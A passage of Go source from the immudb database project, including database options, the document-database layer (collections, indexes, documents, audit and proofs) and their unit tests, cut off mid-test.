require.ErrorIs(t, err, context.DeadlineExceeded) // Goroutines waiting to acquire a database // should be awakened by CloseAll() wg1.Wait() }) for i := 0; i < n; i++ { manager.Release(i) } t.Run("close succeeds", func(t *testing.T) { err := manager.CloseAll(context.Background()) require.NoError(t, err) for i := 0; i < n; i++ { _, err := manager.Get(i) require.ErrorIs(t, err, store.ErrAlreadyClosed) } }) } func TestLazyDB(t *testing.T) { dir := t.TempDir() err := os.MkdirAll(filepath.Join(dir, "testdb"), os.ModePerm) require.NoError(t, err) err = os.MkdirAll(filepath.Join(dir, "testdb1"), os.ModePerm) require.NoError(t, err) logger := logger.NewMemoryLogger() m := NewDBManager(func(name string, opts *Options) (DB, error) { return OpenDB(name, nil, opts, logger) }, 1, logger) dbList := NewDatabaseList(m) _, err = dbList.GetByIndex(0) require.ErrorIs(t, err, ErrDatabaseNotExists) db := dbList.Put("testdb", DefaultOptions().WithDBRootPath(dir)) db1 := dbList.Put("testdb1", DefaultOptions().WithDBRootPath(dir)) closedDB := dbList.PutClosed("closeddb", DefaultOptions().WithDBRootPath(dir)) require.True(t, m.Has("testdb")) require.True(t, m.Has("testdb1")) require.False(t, db.IsClosed()) require.False(t, db1.IsClosed()) require.True(t, closedDB.IsClosed()) t.Run("isActive", func(t *testing.T) { require.False(t, m.IsActive(0)) require.False(t, db.IsReplica()) require.True(t, m.IsActive(0)) require.False(t, db1.IsReplica()) require.False(t, m.IsActive(0)) require.True(t, m.IsActive(1)) }) t.Run("isReplica", func(t *testing.T) { require.False(t, db.IsReplica()) db.AsReplica(true, false, 0) require.True(t, db.IsReplica()) require.False(t, db1.IsReplica()) // force db1 loading require.True(t, db.IsReplica()) }) t.Run("SetSyncReplication", func(t *testing.T) { db.SetSyncReplication(true) require.True(t, db.IsSyncReplicationEnabled()) require.False(t, db1.IsReplica()) // force db1 loading require.True(t, db.IsSyncReplicationEnabled()) }) t.Run("CurrentState", func(t *testing.T) { state, err := db1.CurrentState() require.NoError(t, err) require.NotNil(t, state, err) s, err := db1.Size() require.NoError(t, err) require.NotZero(t, s) _, err = db1.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("k1"), Value: []byte("v1"), }, }, }) require.NoError(t, err) err = db1.WaitForTx(context.Background(), 1, true) require.NoError(t, err) err = db1.WaitForIndexingUpto(context.Background(), 1) require.NoError(t, err) s1, err := db1.Size() require.NoError(t, err) require.Greater(t, s1, s) state1, err := db1.CurrentState() require.NoError(t, err) require.NotEqual(t, state, state1) require.True(t, db.IsReplica()) // force db loading // calling CurrentState() again should not force db reloading state2, err := db1.CurrentState() require.NoError(t, err) require.Equal(t, state1, state2) require.False(t, m.IsActive(1)) }) t.Run("copy catalog", func(t *testing.T) { _, err := db1.CopySQLCatalog(context.Background(), 1) require.NoError(t, err) }) t.Run("truncate", func(t *testing.T) { err := db1.TruncateUptoTx(context.Background(), 1) require.NoError(t, err) }) t.Run("sql", func(t *testing.T) { params, err := db.InferParameters(context.Background(), nil, "SELECT * FROM table1") require.ErrorIs(t, err, sql.ErrTableDoesNotExist) require.Nil(t, params) _, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: "SELECT * FROM table1"}) require.ErrorIs(t, err, sql.ErrTableDoesNotExist) }) t.Run("IsLoaded", func(t *testing.T) { require.True(t, m.IsLoaded(0)) err = m.Close(0) require.NoError(t, err) require.False(t, m.IsLoaded(0)) }) } ================================================ FILE: pkg/database/dboptions.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "time" "github.com/codenotary/immudb/embedded/store" ) const ( DefaultDbRootPath = "./data" DefaultReadTxPoolSize = 128 DefaultTruncationFrequency = 24 * time.Hour ) // Options database instance options type Options struct { dbRootPath string storeOpts *store.Options replica bool syncReplication bool syncAcks int // only if !replica readTxPoolSize int maxResultSize int // TruncationFrequency determines how frequently to truncate data from the database. TruncationFrequency time.Duration // RetentionPeriod determines how long to store data in the database. RetentionPeriod time.Duration } // DefaultOptions Initialise Db Optionts to default values func DefaultOptions() *Options { return &Options{ dbRootPath: DefaultDbRootPath, storeOpts: store.DefaultOptions(), maxResultSize: MaxKeyScanLimit, readTxPoolSize: DefaultReadTxPoolSize, TruncationFrequency: DefaultTruncationFrequency, } } // WithDbRootPath sets the directory in which this database will reside func (o *Options) WithDBRootPath(Path string) *Options { o.dbRootPath = Path return o } // GetDbRootPath returns the directory in which this database resides func (o *Options) GetDBRootPath() string { return o.dbRootPath } // WithStoreOptions sets backing store options func (o *Options) WithStoreOptions(storeOpts *store.Options) *Options { o.storeOpts = storeOpts return o } // GetStoreOptions returns backing store options func (o *Options) GetStoreOptions() *store.Options { return o.storeOpts } // AsReplica sets if the database is a replica func (o *Options) AsReplica(replica bool) *Options { o.replica = replica return o } func (o *Options) WithSyncReplication(syncReplication bool) *Options { o.syncReplication = syncReplication return o } func (o *Options) WithSyncAcks(syncAcks int) *Options { o.syncAcks = syncAcks return o } func (o *Options) WithReadTxPoolSize(txPoolSize int) *Options { o.readTxPoolSize = txPoolSize return o } func (o *Options) GetTxPoolSize() int { return o.readTxPoolSize } func (o *Options) WithTruncationFrequency(c time.Duration) *Options { o.TruncationFrequency = c return o } func (o *Options) WithRetentionPeriod(c time.Duration) *Options { o.RetentionPeriod = c return o } func (o *Options) WithMaxResultSize(maxResultSize int) *Options { o.maxResultSize = maxResultSize return o } ================================================ FILE: pkg/database/dboptions_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "testing" "time" "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" ) func TestDefaultOptions(t *testing.T) { op := DefaultOptions().AsReplica(true) require.Equal(t, op.GetDBRootPath(), DefaultOptions().dbRootPath) require.Equal(t, op.GetTxPoolSize(), DefaultOptions().readTxPoolSize) require.False(t, op.syncReplication) rootpath := "rootpath" storeOpts := store.DefaultOptions() op = DefaultOptions(). WithDBRootPath(rootpath). WithStoreOptions(storeOpts). WithReadTxPoolSize(789). WithSyncReplication(true). WithTruncationFrequency(1 * time.Hour) require.Equal(t, op.GetDBRootPath(), rootpath) require.Equal(t, op.GetTxPoolSize(), 789) require.True(t, op.syncReplication) require.Equal(t, op.TruncationFrequency, 1*time.Hour) require.Equal(t, storeOpts, op.storeOpts) } ================================================ FILE: pkg/database/document_database.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "fmt" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" ) // DocumentDatabase is the interface for document database type DocumentDatabase interface { // GetCollection returns the collection schema GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) // GetCollections returns the list of collection schemas GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) // CreateCollection creates a new collection CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) // UpdateCollection updates an existing collection UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) // DeleteCollection deletes a collection DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) // AddField adds a new field in a collection AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) // RemoveField removes a field from a collection RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) // CreateIndex creates an index for a collection CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) // DeleteIndex deletes an index from a collection DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) // InsertDocuments creates new documents InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) // ReplaceDocuments replaces documents matching the query ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) // AuditDocument returns the document audit history AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) // SearchDocuments returns the documents matching the query SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) // CountDocuments returns the number of documents matching the query CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) // DeleteDocuments deletes documents maching the query DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) // ProofDocument returns the proofs for a document ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) } // CreateCollection creates a new collection func (d *db) CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } err := d.documentEngine.CreateCollection(ctx, username, req.Name, req.DocumentIdFieldName, req.Fields, req.Indexes) if err != nil { return nil, err } return &protomodel.CreateCollectionResponse{}, nil } // GetCollection returns the collection schema func (d *db) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { if req == nil { return nil, ErrIllegalArguments } cinfo, err := d.documentEngine.GetCollection(ctx, req.Name) if err != nil { return nil, err } return &protomodel.GetCollectionResponse{Collection: cinfo}, nil } func (d *db) GetCollections(ctx context.Context, _ *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) { collections, err := d.documentEngine.GetCollections(ctx) if err != nil { return nil, err } return &protomodel.GetCollectionsResponse{Collections: collections}, nil } // UpdateCollection updates an existing collection func (d *db) UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } err := d.documentEngine.UpdateCollection(ctx, username, req.Name, req.DocumentIdFieldName) if err != nil { return nil, err } return &protomodel.UpdateCollectionResponse{}, nil } // DeleteCollection deletes a collection func (d *db) DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } err := d.documentEngine.DeleteCollection(ctx, username, req.Name) if err != nil { return nil, err } return &protomodel.DeleteCollectionResponse{}, nil } // AddField adds a new field in a collection func (d *db) AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } err := d.documentEngine.AddField(ctx, username, req.CollectionName, req.Field) if err != nil { return nil, err } return &protomodel.AddFieldResponse{}, nil } // RemoveField removes a field from a collection func (d *db) RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } err := d.documentEngine.RemoveField(ctx, username, req.CollectionName, req.FieldName) if err != nil { return nil, err } return &protomodel.RemoveFieldResponse{}, nil } // CreateIndex creates an index for a collection func (d *db) CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } err := d.documentEngine.CreateIndex(ctx, username, req.CollectionName, req.Fields, req.IsUnique) if err != nil { return nil, err } return &protomodel.CreateIndexResponse{}, nil } // DeleteIndex deletes an index from a collection func (d *db) DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } err := d.documentEngine.DeleteIndex(ctx, username, req.CollectionName, req.Fields) if err != nil { return nil, err } return &protomodel.DeleteIndexResponse{}, nil } // InsertDocuments inserts multiple documents func (d *db) InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } txID, docIDs, err := d.documentEngine.InsertDocuments(ctx, username, req.CollectionName, req.Documents) if err != nil { return nil, err } docIDsStr := make([]string, 0, len(docIDs)) for _, docID := range docIDs { docIDsStr = append(docIDsStr, docID.EncodeToHexString()) } return &protomodel.InsertDocumentsResponse{ TransactionId: txID, DocumentIds: docIDsStr, }, nil } // ReplaceDocuments replaces documents matching the query func (d *db) ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } revisions, err := d.documentEngine.ReplaceDocuments(ctx, username, req.Query, req.Document) if err != nil { return nil, err } return &protomodel.ReplaceDocumentsResponse{ Revisions: revisions, }, nil } func (d *db) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { if req == nil { return nil, ErrIllegalArguments } if req.Page < 1 || req.PageSize < 1 { return nil, fmt.Errorf("%w: invalid page or page size", ErrIllegalArguments) } offset := uint64((req.Page - 1) * req.PageSize) limit := int(req.PageSize) if limit > d.maxResultSize { return nil, fmt.Errorf("%w: the specified page size (%d) is larger than the maximum allowed one (%d)", ErrIllegalArguments, limit, d.maxResultSize) } // verify if document id is valid docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { return nil, fmt.Errorf("%w: invalid document id", err) } revisions, err := d.documentEngine.AuditDocument(ctx, req.CollectionName, docID, req.Desc, offset, limit, !req.OmitPayload) if err != nil { return nil, fmt.Errorf("%w: error fetching document history", err) } return &protomodel.AuditDocumentResponse{ Revisions: revisions, }, nil } // SearchDocuments returns the documents matching the search request constraints func (d *db) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) { return d.documentEngine.GetDocuments(ctx, query, offset) } // CountDocuments returns the number of documents matching the query func (d *db) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) { if req == nil { return nil, ErrIllegalArguments } count, err := d.documentEngine.CountDocuments(ctx, req.Query, 0) if err != nil { return nil, err } return &protomodel.CountDocumentsResponse{ Count: count, }, nil } func (d *db) DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { if d.isReplica() { return nil, ErrIsReplica } if req == nil { return nil, ErrIllegalArguments } err := d.documentEngine.DeleteDocuments(ctx, username, req.Query) if err != nil { return nil, err } return &protomodel.DeleteDocumentsResponse{}, nil } // ProofDocument returns the proofs for a documenta func (d *db) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { if req == nil { return nil, ErrIllegalArguments } docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { return nil, fmt.Errorf("invalid document id: %v", err) } tx, err := d.allocTx() if err != nil { return nil, err } defer d.releaseTx(tx) collectionID, documentIdFieldName, docAudit, err := d.documentEngine.GetEncodedDocument(ctx, req.CollectionName, docID, req.TransactionId) if err != nil { return nil, err } err = d.st.ReadTx(docAudit.TxID, false, tx) if err != nil { return nil, err } var sourceHdr, targetHdr *store.TxHeader if req.ProofSinceTransactionId == 0 { req.ProofSinceTransactionId = 1 } lastValidatedHdr, err := d.st.ReadTxHeader(req.ProofSinceTransactionId, false, false) if err != nil { return nil, err } if tx.Header().ID < req.ProofSinceTransactionId { sourceHdr = tx.Header() targetHdr = lastValidatedHdr } else { sourceHdr = lastValidatedHdr targetHdr = tx.Header() } dualProof, err := d.st.DualProofV2(sourceHdr, targetHdr) if err != nil { return nil, err } return &protomodel.ProofDocumentResponse{ Database: d.name, CollectionId: collectionID, DocumentIdFieldName: documentIdFieldName, EncodedDocument: docAudit.EncodedDocument, VerifiableTx: &schema.VerifiableTxV2{ Tx: schema.TxToProto(tx), DualProof: schema.DualProofV2ToProto(dualProof), }, }, nil } ================================================ FILE: pkg/database/document_database_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "encoding/json" "os" "testing" "time" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/verification" "github.com/google/uuid" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) func makeDocumentDb(t *testing.T) *db { rootPath := t.TempDir() dbName := "doc_test_db" options := DefaultOptions(). WithDBRootPath(rootPath) options.storeOpts.IndexOpts.WithCompactionThld(2) d, err := NewDB(dbName, nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) t.Cleanup(func() { err := d.Close() if !t.Failed() { require.NoError(t, err) } }) db := d.(*db) return db } func TestDocumentDB_InvalidParameters(t *testing.T) { db := makeDocumentDb(t) _, err := db.CreateCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.GetCollection(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.UpdateCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.DeleteCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.CreateIndex(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.DeleteIndex(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.InsertDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.ReplaceDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.AuditDocument(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.CountDocuments(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.DeleteDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.ProofDocument(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) } func TestDocumentDB_WritesOnReplica(t *testing.T) { db := makeDocumentDb(t) db.AsReplica(true, false, 0) _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.UpdateCollection(context.Background(), "admin", &protomodel.UpdateCollectionRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.DeleteCollection(context.Background(), "admin", &protomodel.DeleteCollectionRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.AddField(context.Background(), "admin", &protomodel.AddFieldRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.RemoveField(context.Background(), "admin", &protomodel.RemoveFieldRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.CreateIndex(context.Background(), "admin", &protomodel.CreateIndexRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.DeleteIndex(context.Background(), "admin", &protomodel.DeleteIndexRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.ReplaceDocuments(context.Background(), "admin", &protomodel.ReplaceDocumentsRequest{}) require.ErrorIs(t, err, ErrIsReplica) _, err = db.DeleteDocuments(context.Background(), "admin", &protomodel.DeleteDocumentsRequest{}) require.ErrorIs(t, err, ErrIsReplica) } func TestDocumentDB_WithCollections(t *testing.T) { db := makeDocumentDb(t) defaultCollectionName := "mycollection" t.Run("should pass when creating a collection", func(t *testing.T) { _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: defaultCollectionName, Fields: []*protomodel.Field{ {Name: "uuid", Type: protomodel.FieldType_UUID}, {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, }) require.NoError(t, err) _, err = db.AddField(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.AddField(context.Background(), "admin", &protomodel.AddFieldRequest{ CollectionName: defaultCollectionName, }) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.AddField(context.Background(), "admin", &protomodel.AddFieldRequest{ CollectionName: defaultCollectionName, Field: &protomodel.Field{Name: "extra_field", Type: protomodel.FieldType_UUID}, }) require.NoError(t, err) _, err = db.AddField(context.Background(), "admin", &protomodel.AddFieldRequest{ CollectionName: defaultCollectionName, Field: &protomodel.Field{Name: "extra_field", Type: protomodel.FieldType_UUID}, }) require.ErrorIs(t, err, document.ErrFieldAlreadyExists) cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) collection := cinfo.Collection expectedFieldKeys := []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_STRING}, {Name: "uuid", Type: protomodel.FieldType_UUID}, {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "extra_field", Type: protomodel.FieldType_UUID}, } for i, idxType := range expectedFieldKeys { require.Equal(t, idxType.Name, collection.Fields[i].Name) require.Equal(t, idxType.Type, collection.Fields[i].Type) } _, err = db.RemoveField(context.Background(), "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.RemoveField(context.Background(), "admin", &protomodel.RemoveFieldRequest{ CollectionName: defaultCollectionName, FieldName: "extra_field", }) require.NoError(t, err) _, err = db.RemoveField(context.Background(), "admin", &protomodel.RemoveFieldRequest{ CollectionName: defaultCollectionName, FieldName: "extra_field", }) require.ErrorIs(t, err, document.ErrFieldDoesNotExist) expectedFieldKeys = []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_STRING}, {Name: "uuid", Type: protomodel.FieldType_UUID}, {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, } for i, idxType := range expectedFieldKeys { require.Equal(t, idxType.Name, collection.Fields[i].Name) require.Equal(t, idxType.Type, collection.Fields[i].Type) } countResp, err := db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{ Query: &protomodel.Query{ CollectionName: defaultCollectionName, }, }) require.NoError(t, err) require.Zero(t, countResp.Count) _, err = db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{ Query: &protomodel.Query{ CollectionName: "1invalidCollectionName", }, }) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("should pass when adding an index to the collection", func(t *testing.T) { _, err := db.CreateIndex(context.Background(), "admin", &protomodel.CreateIndexRequest{ CollectionName: defaultCollectionName, Fields: []string{"number"}, }) require.NoError(t, err) // get collection cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) collection := cinfo.Collection expectedIndexKeys := []*protomodel.Index{ {Fields: []string{"_id"}, IsUnique: true}, {Fields: []string{"number"}, IsUnique: false}, } for i, idxType := range expectedIndexKeys { require.Equal(t, idxType.Fields, collection.Indexes[i].Fields) require.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique) } }) t.Run("should pass when deleting an index to the collection", func(t *testing.T) { _, err := db.DeleteIndex(context.Background(), "admin", &protomodel.DeleteIndexRequest{ CollectionName: defaultCollectionName, Fields: []string{"number"}, }) require.NoError(t, err) // get collection cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) collection := cinfo.Collection require.Len(t, collection.Indexes, 1) expectedIndexKeys := []*protomodel.Index{ {Fields: []string{"_id"}, IsUnique: true}, } for i, idxType := range expectedIndexKeys { require.Equal(t, idxType.Fields, collection.Indexes[i].Fields) require.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique) } }) t.Run("should pass when updating a collection", func(t *testing.T) { _, err := db.UpdateCollection(context.Background(), "admin", &protomodel.UpdateCollectionRequest{ Name: defaultCollectionName, DocumentIdFieldName: "foo", }) require.NoError(t, err) // get collection cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) collection := cinfo.Collection require.Equal(t, "foo", collection.Fields[0].Name) }) t.Run("should pass when deleting documents", func(t *testing.T) { _, err := db.DeleteDocuments(context.Background(), "admin", &protomodel.DeleteDocumentsRequest{ Query: &protomodel.Query{ CollectionName: defaultCollectionName, }, }) require.NoError(t, err) _, err = db.DeleteDocuments(context.Background(), "admin", &protomodel.DeleteDocumentsRequest{ Query: &protomodel.Query{ CollectionName: "1invalidCollectionName", }, }) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("should pass when deleting collection", func(t *testing.T) { _, err := db.DeleteCollection(context.Background(), "admin", &protomodel.DeleteCollectionRequest{ Name: defaultCollectionName, }) require.NoError(t, err) resp, err := db.GetCollections(context.Background(), &protomodel.GetCollectionsRequest{}) require.NoError(t, err) require.Len(t, resp.Collections, 0) }) t.Run("should pass when creating multiple collections", func(t *testing.T) { // create collection collections := []string{"mycollection1", "mycollection2", "mycollection3"} for _, collectionName := range collections { _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, }) require.NoError(t, err) } expectedFieldKeys := []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_STRING}, {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, } // verify collection resp, err := db.GetCollections(context.Background(), &protomodel.GetCollectionsRequest{}) require.NoError(t, err) require.Len(t, resp.Collections, len(resp.Collections)) for i, collection := range resp.Collections { require.Equal(t, collections[i], collection.Name) for i, idxType := range expectedFieldKeys { require.Equal(t, idxType.Name, collection.Fields[i].Name) require.Equal(t, idxType.Type, collection.Fields[i].Type) } } }) } func TestDocumentDB_WithDocuments(t *testing.T) { db := makeDocumentDb(t) // create collection collectionName := "mycollection" _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "uuid", Type: protomodel.FieldType_UUID}, {Name: "pincode", Type: protomodel.FieldType_INTEGER}, }, Indexes: []*protomodel.Index{ {Fields: []string{"pincode"}}, }, }) require.NoError(t, err) t.Run("should fail with empty document", func(t *testing.T) { // add document to collection _, err := db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: nil, }) require.Error(t, err) }) var res *protomodel.InsertDocumentsResponse var docID string u, err := uuid.NewUUID() require.NoError(t, err) t.Run("should pass when adding documents", func(t *testing.T) { // add document to collection res, err = db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ "uuid": { Kind: &structpb.Value_StringValue{StringValue: u.String()}, }, "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 123}, }, }, }, }, }) require.NoError(t, err) require.NotNil(t, res) require.Len(t, res.DocumentIds, 1) docID = res.DocumentIds[0] countResp, err := db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{ Query: &protomodel.Query{ 